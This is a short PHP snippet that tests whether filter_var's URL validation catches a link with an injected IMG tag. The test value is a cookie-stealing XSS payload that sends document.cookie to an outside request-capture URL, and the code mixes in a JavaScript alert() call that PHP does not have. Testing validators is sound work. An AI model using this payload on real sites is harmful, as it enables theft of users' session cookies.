- filter_var: documentation ( source)
- printf: documentation ( source)
<?php
$link = "http://moncul.com/toto.jpg<IMG SRC='http://requestb.in/sr3wb0sr?cookie='+document.cookie>";
if (!is_null($link))
{
if (!filter_var($link, FILTER_VALIDATE_URL))
alert("ERROR !");
}
if (is_null($link))
{
$link = 'http://';
alert("NULL !");
}
printf("toto");
?>